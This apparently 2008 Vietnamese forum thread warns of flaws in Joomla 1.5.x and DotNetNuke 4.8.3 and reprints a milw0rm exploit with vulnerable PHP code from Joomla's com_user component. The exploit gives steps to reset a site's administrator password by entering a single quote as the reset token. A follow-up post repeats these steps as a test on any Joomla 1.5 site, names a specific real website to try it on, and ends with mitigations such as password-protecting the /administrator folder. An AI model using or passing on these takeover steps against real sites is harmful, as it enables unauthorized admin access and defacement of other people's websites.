Lỗi nguy hiểm của Joomla 1.5x và Dotnetnuke 4.8.3

Heo Còi

Hiện nay trên Joomla 1.5x và Dotnetnuke 4.8.3 xuất hiện lỗi nghiêm trọng đề nghị người dùng 2 sãn phẩm này cần chú ý là theo kịp thời update lên phiên bản mới! đây là 2 mã nguồn thông dụng ảnh hưởng lớn đến nhiều website Việt Nam!http://milw0rm.com/exploits/6234
http://www.dotnetnuke.com/News/S ... d/1162/Default.aspx

Tạm thời tự check xem và close nếu thấy cần để chờ ra bản fix lỗi

Còn cách hack JL nói chơi thôi...đừng phá.

1. #####################################################################################
2. ####                     Joomla 1.5.x Remote Admin Password Change               ####
3. #####################################################################################
4. #                                                                                   #
5. # Author: d3m0n (d3m0n@o2.pl)                                                       #
6. # Greets: GregStar, gorion, d3d!k                                                   #
7. #                                                                                   #
8. # Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
9. #                                                                                   #
10. #####################################################################################
14. File : /components/com_user/controller.php
16. #####################################################################################
17. Line : 379-399
19.         function confirmreset()
20.         {
21.                 // Check for request forgeries
22.                 JRequest::checkToken() or die( 'Invalid Token' );
24.                 // Get the input
25.                 $token = JRequest::getVar('token', null, 'post', 'alnum');              < --- {1}
26.                   
27.                 // Get the model
28.                 $model = &$this->getModel('Reset');
30.                 // Verify the token
31.                 if ($model->confirmReset($token) === false)   < --- {2}
32.                 {
33.                         $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
34.                         $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
35.                         return false;
36.                 }
38.                 $this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
39.         }
40.        
41. #####################################################################################
42.        
43. File : /components/com_user/models/reset.php
45. Line: 111-130        
46.        
47.        
48.        
49.         function confirmReset($token)
50.         {
51.                 global $mainframe;
53.                 $db        = &JFactory::getDBO();
54.                 $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ---- {3}
56.                 // Verify the token
57.                 if (!($id = $db->loadResult()))
58.                 {
59.                         $this->setError(JText::_('INVALID_TOKEN'));
60.                         return false;
61.                 }
63.                 // Push the token and user id into the session
64.                 $mainframe->setUserState($this->_namespace.'token',        $token);
65.                 $mainframe->setUserState($this->_namespace.'id',        $id);
67.                 return true;
68.         }
69. #####################################################################################
73. {1} - Replace ' with empty char
74. {3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "
77. Example :
80. 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm
82. 2. Write into field "token" char ' and Click OK.
84. 3. Write new password for admin
86. 4. Go to url : target.com/administrator/
88. 5. Login admin with new password
90. # milw0rm.com [2008-08-12]

Sao chép mã

Heo Còi

Cách test thử:
tìm 1trang JL bất kỳ 1.5
thêm dòng này vào thay cho index.php
index.php?option=com_user&view=reset&layout=confirm

Nếu hiện ra ô Confirm your Account và hỏi điền email forgot pass thì điền dấu ' vào
Ấn Surmit Nếu hiện ra ô New Pass Word thì gõ pass mới là change đc pass admin

Thử ku này xem
http://vinaora.com/joomla/
Nhưng mà đã đặt pass cho thư mục admin nên chỉ riset đc pass trêu thôi
Cách chống: Move thư mục admin ra ngoài hoặc đặt pass cho thư mục /administrator
Tắt module thành viên đăng nhập và đăng ký
Chờ bản vá lỗi